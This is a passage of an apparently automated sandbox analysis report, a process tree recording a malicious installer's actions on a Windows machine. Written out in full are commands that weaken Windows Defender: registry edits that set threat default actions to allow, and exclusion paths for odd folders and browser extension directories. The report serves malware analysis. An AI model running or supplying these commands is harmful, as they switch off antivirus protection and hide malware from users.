                                                                              • Drops file in Drivers directory
                                                                              • Sets service image path in registry
                                                                              • Adds Run key to start application
                                                                              • Checks for any installed AV software in registry
                                                                              • Enumerates connected drives
                                                                              • Writes to the Master Boot Record (MBR)
                                                                              • Drops file in System32 directory
                                                                              • Drops file in Program Files directory
                                                                              • Modifies data under HKEY_USERS
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              • Suspicious behavior: LoadsDriver
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:768
                                                                              • C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe
                                                                                /showtrayicon
                                                                                2⤵
                                                                                • Sets service image path in registry
                                                                                • Enumerates connected drives
                                                                                • Writes to the Master Boot Record (MBR)
                                                                                • Drops file in Program Files directory
                                                                                • Checks processor information in registry
                                                                                • Modifies registry class
                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                • Suspicious use of FindShellTrayWindow
                                                                                • Suspicious use of SendNotifyMessage
                                                                                • Suspicious use of SetWindowsHookEx
                                                                                PID:4316
                                                                                • C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe
                                                                                  "C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe" /install
                                                                                  3⤵
                                                                                    PID:1628
                                                                                  • C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe
                                                                                    "C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe" /cleantip=1
                                                                                    3⤵
                                                                                    • Writes to the Master Boot Record (MBR)
                                                                                    • Drops file in Program Files directory
                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                    • Suspicious use of SendNotifyMessage
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    PID:1080
                                                                                    • C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe
                                                                                      "C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe" /ExShowTrayIcon
                                                                                      4⤵
                                                                                        PID:808
                                                                                    • C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe
                                                                                      "C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe" /ExShowTrayIcon
                                                                                      3⤵
                                                                                      • Writes to the Master Boot Record (MBR)
                                                                                      PID:4164
                                                                                    • C:\Windows\SysWOW64\regsvr32.exe
                                                                                      C:\Windows\system32\regsvr32.exe /s "C:\Program Files (x86)\360\Total Security\safemon\safemon.dll"
                                                                                      3⤵
                                                                                        PID:3572
                                                                                      • C:\Program Files (x86)\360\Total Security\PatchUp.exe
                                                                                        "C:\Program Files (x86)\360\Total Security\PatchUp.exe" /down_and_install=0
                                                                                        3⤵
                                                                                        • Writes to the Master Boot Record (MBR)
                                                                                        • Drops file in Program Files directory
                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                        PID:4392
                                                                                    • C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe
                                                                                      "C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe" /watch
                                                                                      2⤵
                                                                                        PID:1960
                                                                                      • C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe
                                                                                        "C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe"
                                                                                        2⤵
                                                                                        • Writes to the Master Boot Record (MBR)
                                                                                        PID:1508
                                                                                      • C:\Windows\SysWOW64\regsvr32.exe
                                                                                        "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\360\Total Security\safemon\bdfltlib.dll"
                                                                                        2⤵
                                                                                          PID:5324
                                                                                        • C:\Windows\SysWOW64\regsvr32.exe
                                                                                          "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\360\Total Security\safemon\scan.dll"
                                                                                          2⤵
                                                                                            PID:5332
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSB59F.tmp\Install.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSB59F.tmp\Install.exe 1g /fJvdidJshn 385118 /S
                                                                                          1⤵
                                                                                          • Executes dropped EXE
                                                                                          • Drops desktop.ini file(s)
                                                                                          • Drops file in System32 directory
                                                                                          • Modifies data under HKEY_USERS
                                                                                          PID:5904
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                            2⤵
                                                                                              PID:5512
                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                3⤵
                                                                                                  PID:5656
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                    4⤵
                                                                                                      PID:5616
                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                        5⤵
                                                                                                          PID:5532
                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                      3⤵
                                                                                                        PID:5692
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                          4⤵
                                                                                                            PID:4524
                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                              5⤵
                                                                                                                PID:5452
                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                            forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                            3⤵
                                                                                                              PID:5400
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                4⤵
                                                                                                                  PID:5552
                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                    5⤵
                                                                                                                      PID:5388
                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                  forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                  3⤵
                                                                                                                    PID:2116
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                      4⤵
                                                                                                                        PID:5356
                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                          5⤵
                                                                                                                            PID:2860
                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                        3⤵
                                                                                                                          PID:5572
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                            4⤵
                                                                                                                              PID:1712
                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                5⤵
                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                • Drops file in System32 directory
                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                PID:8
                                                                                                                                • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                  6⤵
                                                                                                                                    PID:3848
                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                                                            2⤵
                                                                                                                            • Drops file in System32 directory
                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                            PID:4876
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:3768
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                  4⤵
                                                                                                                                    PID:1716
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:396
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                                    3⤵
                                                                                                                                      PID:6100
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                                      3⤵
                                                                                                                                        PID:6124
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                                        3⤵
                                                                                                                                          PID:60
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                                          3⤵
                                                                                                                                            PID:5192
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:5204
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                                              3⤵
                                                                                                                                                PID:5228
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                                                3⤵
                                                                                                                                                  PID:6068
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1404
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                                    3⤵
                                                                                                                                                      PID:6016
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                                      3⤵
                                                                                                                                                        PID:5872
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1744
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                                          3⤵
                                                                                                                                                            PID:5712
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                                            3⤵
                                                                                                                                                              PID:5176
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                                              3⤵
                                                                                                                                                                PID:5936
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:1288
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:3860
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:5944
                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:5776
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:5484
                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:5536
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:5624
                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:5440
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:5368
                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:5416
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:5280
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:2508
                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JipyTrDkU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JipyTrDkU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YLgKyOFzWxOqC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YLgKyOFzWxOqC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\krdeMCnRKomDOvwVunR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\krdeMCnRKomDOvwVunR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nFLFFjqrQPUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nFLFFjqrQPUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tegRANPZONsU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tegRANPZONsU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fcblnlcRRSrBhAVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fcblnlcRRSrBhAVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZmzskowerwXEonlG\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZmzskowerwXEonlG\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                      PID:5420
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:5564
                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                            4⤵
                                                                                                                                                                                              PID:2936
